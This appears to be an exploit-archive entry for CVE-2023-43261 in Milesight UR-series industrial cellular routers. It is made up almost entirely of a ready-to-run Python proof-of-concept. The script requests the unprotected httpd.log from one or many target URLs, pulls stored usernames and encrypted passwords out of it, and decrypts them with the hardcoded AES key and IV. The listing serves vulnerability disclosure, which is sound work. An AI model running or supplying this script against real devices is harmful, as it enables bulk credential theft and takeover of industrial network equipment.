Milesight UR5X / UR32L / UR32 / UR35 / UR41 Credential Leakage

2024.02.06
Credit: Bipin Jitiya
Risk: Medium
Local: Yes
Remote: No
CWE: N/A

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Title: Credential Leakage Through Unprotected System Logs and Weak Password Encryption CVE: CVE-2023-43261 Script Author: Bipin Jitiya (@win3zz) Vendor: Milesight IoT - https://www.milesight-iot.com/ (Formerly Xiamen Ursalink Technology Co., Ltd.) Software/Hardware: UR5X, UR32L, UR32, UR35, UR41 and there might be other Industrial Cellular Router could also be vulnerable. Script Tested on: Ubuntu 20.04.6 LTS with Python 3.8.10 Writeup: https://medium.com/@win3zz/inside-the-router-how-i-accessed-industrial-routers-and-reported-the-flaws-29c34213dfdf """ import sys import requests import re import warnings from Crypto.Cipher import AES # pip install pycryptodome from Crypto.Util.Padding import unpad import base64 import time warnings.filterwarnings("ignore") KEY = b'1111111111111111' IV = b'2222222222222222' def decrypt_password(password): try: return unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(password)), AES.block_size).decode('utf-8') except ValueError as e: display_output(' [-] Error occurred during password decryption: ' + str(e), 'red') def display_output(message, color): colors = {'red': '\033[91m', 'green': '\033[92m', 'blue': '\033[94m', 'yellow': '\033[93m', 'cyan': '\033[96m', 'end': '\033[0m'} print(f"{colors[color]}{message}{colors['end']}") time.sleep(0.5) urls = [] if len(sys.argv) == 2: urls.append(sys.argv[1]) if len(sys.argv) == 3 and sys.argv[1] == '-f': with open(sys.argv[2], 'r') as file: urls.extend(file.read().splitlines()) if len(urls) == 0: display_output('Please provide a URL or a file with a list of URLs.', 'red') display_output('Example: python3 ' + sys.argv[0] + ' https://example.com', 'blue') display_output('Example: python3 ' + sys.argv[0] + ' -f urls.txt', 'blue') sys.exit() use_proxy = False proxies = {'http': 'http://127.0.0.1:8080/'} if use_proxy else None for url in urls: display_output('[*] Initiating data retrieval for: ' + url + '/lang/log/httpd.log', 'blue') response = requests.get(url + '/lang/log/httpd.log', proxies=proxies, verify=False) if response.status_code == 200: display_output('[+] Data retrieval successful for: ' + url + '/lang/log/httpd.log', 'green') data = response.text credentials = set(re.findall(r'"username":"(.*?)","password":"(.*?)"', data)) num_credentials = len(credentials) display_output(f'[+] Found {num_credentials} unique credentials for: ' + url, 'green') if num_credentials > 0: display_output('[+] Login page: ' + url + '/login.html', 'green') display_output('[*] Extracting and decrypting credentials for: ' + url, 'blue') display_output('[+] Unique Credentials:', 'yellow') for i, (username, password) in enumerate(credentials, start=1): display_output(f' Credential {i}:', 'cyan') decrypted_password = decrypt_password(password.encode('utf-8')) display_output(f' - Username: {username}', 'green') display_output(f' - Password: {decrypted_password}', 'green') else: display_output('[-] No credentials found in the retrieved data for: ' + url, 'red') else: display_output('[-] Data retrieval failed. Please check the URL: ' + url, 'red')


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